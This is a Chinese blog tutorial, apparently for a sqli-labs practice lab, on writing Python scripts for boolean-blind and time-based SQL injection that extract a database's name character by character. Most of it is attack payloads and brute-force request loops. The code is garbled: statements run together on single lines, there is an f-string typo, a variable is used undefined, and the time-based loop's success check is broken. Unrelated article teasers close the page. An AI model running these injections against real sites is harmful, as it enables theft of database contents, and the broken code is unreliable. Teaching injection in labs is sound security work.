SQL注入脚本编写

文章目录

  • 布尔盲注脚本
  • 延时注入脚本

安装xampp,在conf目录下修改它的http配置文件,如下,找到配置文件:

在这里插入图片描述

修改配置文件中的默认主页,让xampp能访问phpstudy的www目录,因为xampp的响应速度比phpstudy快得多,所以用它做SQL注入脚本的服务器:

在这里插入图片描述

布尔盲注脚本

以sqli-labs第8关为例,在第8关进行测试,发现该关是字符型注入:

在这里插入图片描述

构建一个payload用来布尔盲注,判断数据库名称的长度:

?id=2' and length(database())=1 --+

URL为:

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

构建一个循环注入的while循环(不知道循环次数时用while):

while True:i += 1payload= f"?id=2' and length(database())={i} -- "

构建完整的url并发送请求包:

full_url=url+ payload
print(full_url)
res= requests.get(url= full_url)

可以发现,在正确注入时页面会回显"You are in…",以此为中止的标志,输出长度:

if "You are in........."in res.text:print(f"[*] The length is (i}")break

完整脚本:

import requestsurl="http://10.9.75.164/sqli-labs/Less-8/index.php"i=0
while True:i += 1payload= f"?id=2' and length(database())={i} -- "full_url=url+ payloadprint(full_url)res= requests.get(url= full_url)if "You are in........."in res.text:print(f"[*] The length:(i}")break

输出结果如下,获得了数据库的长度为8:
在这里插入图片描述

然后用布尔盲注获取数据库名称,每个字符逐个获取:

ord方法将字符转ASCII码

string.printable.strip()生成可打印字符串

import string
c_set= string.printable.strip()
for i in range(con_len):for c in c_set:payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "full_url= url+ payloadprint(full_url)res = requests.get(url= full_url)if "you are in........." in res.text:con+= cprint(f"[*] The content: {con}")

完整脚本如下:

import string
import requestsurl="http://10.9.75.164/sqli-labs/Less-8/index.php"i=0
while True:i += 1payload= f"?id=2' and length(database())={i} -- "full_url=url+ payloadprint(full_url)res= requests.get(url= full_url)if "You are in........."in res.text:print(f"[*] The length:(i}")break
c_set= string.printable.strip()
for i in range(con_len):for c in c_set:payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "full_url= url+ payloadprint(full_url)res = requests.get(url= full_url)if "you are in........." in res.text:con+= cprint(f"[*] The content: {con}")

运行结果如下,成功遍历出数据库名称:

在这里插入图片描述

延时注入脚本

以sqli-labs第9关为例,经过测试这关无报错注入、布尔盲注和联合查询,只能用延时注入,页面有延迟:

在这里插入图片描述

和布尔盲注思路一样,先获取数据库名称的长度,再获取内容,用if和sleep函数构造一个payload 如下:

payload="?id=1' and if(length(database())=1, sleep(5),1) -- "

延时注入脚本和布尔盲注思路类似,不同的是,延时注入脚本构建了一个超时函数,然后用if语句来判断有延时注入的URL,如果请求正常,就将请求正文返回,并在while循环中和payload拼接构成完整的url并输出,如果超时,就输出此时payload的长度。

下面是完整脚本:

import requests
url="http://10.9.75.164/sqli-labs/Less-9/index.php"con_len=0
con=""
def get_timeout(url):try:res  = requests.get(url= url,timeout= 3)except:return "timeout"else:return res.text
while True:con_len+= 1payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- "full_url= url+ payloadif "timeout" in get_timeout(full_url):print(f"[*] The length of content: {con_len}")break

如图,脚本执行后在超时时返回长度:

在这里插入图片描述

然后和布尔盲注遍历出数据库名称一样,用for循环做数据库名称遍历,将if语句中判断的内容改为timeout即可:

import requests
import string
url="http://10.9.75.164/sqli-labs/Less-9/index.php"con_len=0
con=""
def get_timeout(url):try:res  = requests.get(url= url,timeout= 3)except:return "timeout"else:return res.text
while True:con_len+= 1payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- "full_url= url+ payloadprint(full_url)if "timeout" in get_timeout(full_url):print(f"[*] The length of content: {con_len}")break
c_set= string.printable.strip()
for i in range(con_len):for c in c_set:payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "full_url= url+ payloadres = requests.get(url= full_url)if "timeout" in res.text:con+= cprint(f"[*] The content: {con}")

运行结果如下,成功获得数据库名称:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/84531.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux C 网络基础

为什么需要网络通信? 进程间通信解决的是本机内通信 网络通信解决的是任意不同机器的通信 实现网络通信需要哪些支持 1.通信设备:网卡(PC机自带); 路由器和交换机; 光纤…

在Scrapy框架中使用隧道代理

今天我要和大家分享一些实战经验,教你如何在Scrapy框架中使用隧道代理。如果你是一个热爱网络爬虫的开发者,或者对数据抓取和处理感兴趣,那么这篇文章将帮助你走上更高级的爬虫之路。 首先,让我们简单介绍一下Scrapy框架。Scrapy…

【计算机网络】——应用层

// 图片取自王道 仅做交流学习 一、基本概念 应用层概述 协议是 网络层次模型 中多台主机之间 同层之间进行通信的规则。是一个水平概念 垂直空间上,向下屏蔽下层细节,向上提供服务接入,多台主机之间同层之间形成一条逻辑信道。 应用层的…

编译ctk源码

目录 前景介绍 下载The Common Toolkit (CTK) cmake-gui编译 vs2019生成 debug版本 release版本 前景介绍 CTK(Common Toolkit)是一个用于医学图像处理和可视化应用程序开发的工具集,具有以下特点: 基于开源和跨平台的Qt框…

Spring 6.0 新特性

文章目录 Spring的发展历史AOTGraalVMSpringBoot实战AOTRuntimeHints案例分析RuntimeHintsRegistrar SpringBoot中AOT核心代码 Spring的发展历史 AOT Spring 6.0的新特性Ahead of Time(AOT)编译是一种技术,可以提前将Spring应用程序编译成原…

【SpringCloud】微服务技术栈入门1 - 远程服务调用、Eureka以及Ribbon

目录 远程服务调用RestTemplate Eureka简要概念配置 Eureka 环境设置 Eureka ClientEureka 服务发现 Ribbon工作流程配置与使用 Ribbon饥饿加载 远程服务调用 RestTemplate RestTemplate 可以模拟客户端来向另外一个后端执行请求 黑马给出的微服务项目中,有两个 …

yolov5使用最新MPDIOU损失函数,有效和准确的边界盒回归的损失,优于GIoU/EIoU/CIoU/EIoU(附代码可用)

文章目录 1. 论文1.1. 主要目的1.2. 设计思路2 代码3.总结1. 论文 MPDIoU: A Loss for Efficient and Accurate Bounding Box Regression (一个有效和准确的边界框损失回归函数) 论文地址 1.1. 主要目的 当预测框与边界框具有相同的纵横比,但宽度和高度值完全不同时,大多数…

20230918使用ffmpeg将mka的音频转为AAC编码以便PR2023来识别

20230918使用ffmpeg将mka的音频转为AAC编码以便PR2023来识别 2023/9/18 20:58 ffmpeg -i 1.mka -acodec aac 1.mp4 ffmpeg -i 1.mka -vn -c:a aac 2.aac ffmpeg -i 1.mka -vn -c:a aac 2.MP4 ffmpeg mka 转 aacmp4 https://avmedia.0voice.com/?id42526 用ffmpeg将mka格式转化…

云端IDE的技术选型1

背景 考虑到以下几点,准备给低代码平台开发一套云端的IDE: 桌面端IDE:vs code 或 idea,都有需要开发人员安装ide,以及配置环境很多时候,配置开发环境是个非常曲折过程,经常出现版本不匹配&…

【分布式计算】副本数据Replicated Data

作用:可靠性、高性能、容错性 问题:如何保持一致、如何更新 问题:存在读写/写写冲突 一个简单的方法就是每个操作都保持顺序,但是因为网络延迟会导致问题 Data-centric models: consistency model?? ??? 读取时&#xff0c…

深入理解WPF中MVVM的设计思想

近些年来,随着WPF在生产,制造,工业控制等领域应用越来越广发,很多企业对WPF开发的需求也逐渐增多,使得很多人看到潜在机会,不断从Web,WinForm开发转向了WPF开发,但是WPF开发也有很多…

图像处理软件Photoshop 2024 mac新增功能

Photoshop 2024 mac是一款图像处理软件的最新版本。ps2024提供了丰富的功能和工具,使用户能够对照片、插图、图形等进行精确的编辑和设计。 Photoshop 2024 mac软件特点 快速性能:Photoshop 2024 提供了更快的渲染速度和更高效的处理能力,让用…

MyBatis 缓存模块

文章目录 前言缓存的实现Cache接口PerpetualCache 缓存的应用缓存对应的初始化一级缓存二级缓存第三方缓存 前言 MyBatis作为一个强大的持久层框架,缓存是其必不可少的功能之一,Mybatis中的缓存分为一级缓存和二级缓存。但本质上是一样的,都…

【异常错误】detected dubious ownership in repository ****** is owned by: ‘

今天在github git的时候,突然出现了这种问题,下面的框出的部分一直显示: detected dubious ownership in repository at D:/Pycharm_workspace/SBDD/1/FLAG D:/Pycharm_workspace/SBDD/1/FLAG is owned by: S-1-5-32-544 but the current use…

多线程的学习第二篇

多线程 线程是为了解决并发编程引入的机制. 线程相比于进程来说,更轻量 ~~ 更轻量的体现: 创建线程比创建进程,开销更小销毁线程比销毁进程,开销更小调度线程比调度进程,开销更小 进程是包含线程的. 同一个进程里的若干线程之间,共享着内存资源和文件描述符表 每个线程被独…

外国固定资产管理系统功能有哪些

很多公司都在寻找提高自己资产管理效益的方法。为了满足这一要求,国外的固定资产管理系统已经发展成多种形式。以下是国外一些常见的固定资产管理系统的特点:自动化和智能化:许多现代固定资产管理系统采用自动化和数字化技术,以简化流程,减少…

网络编程day04(网络属性函数、广播、组播、TCP并发)

今日任务 对于newfd的话&#xff0c;最好是另存然后传入给分支线程&#xff0c;避免父子线程操作同一个文件描述符 1.广播&#xff1a; 接收端 代码&#xff1a; #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h&…

Databend 开源周报第 111 期

Databend 是一款现代云数仓。专为弹性和高效设计&#xff0c;为您的大规模分析需求保驾护航。自由且开源。即刻体验云服务&#xff1a;https://app.databend.cn 。 Whats On In Databend 探索 Databend 本周新进展&#xff0c;遇到更贴近你心意的 Databend 。 理解 SHARE END…

大数据(九):数据可视化(一)

专栏介绍 结合自身经验和内部资料总结的Python教程&#xff0c;每天3-5章&#xff0c;最短1个月就能全方位的完成Python的学习并进行实战开发&#xff0c;学完了定能成为大佬&#xff01;加油吧&#xff01;卷起来&#xff01; 全部文章请访问专栏&#xff1a;《Python全栈教…

Linux_9_网络协议和管理

目录 1网络基础1.1 网络概念1.2常见的网络物理组件1.3网络应用程序1.3.1各种网络应用1.3.2应用程序对网络的要求 1.4网络的特征1.4.1速度(带宽)1.4.2网络拓扑 1.5网络1.5.1网络准和分层1.5.2开放系统互联OSI1.5.3网络的通信过程1.5.3.1数据封装和数据解封1.5.3.2协议数据单元PD…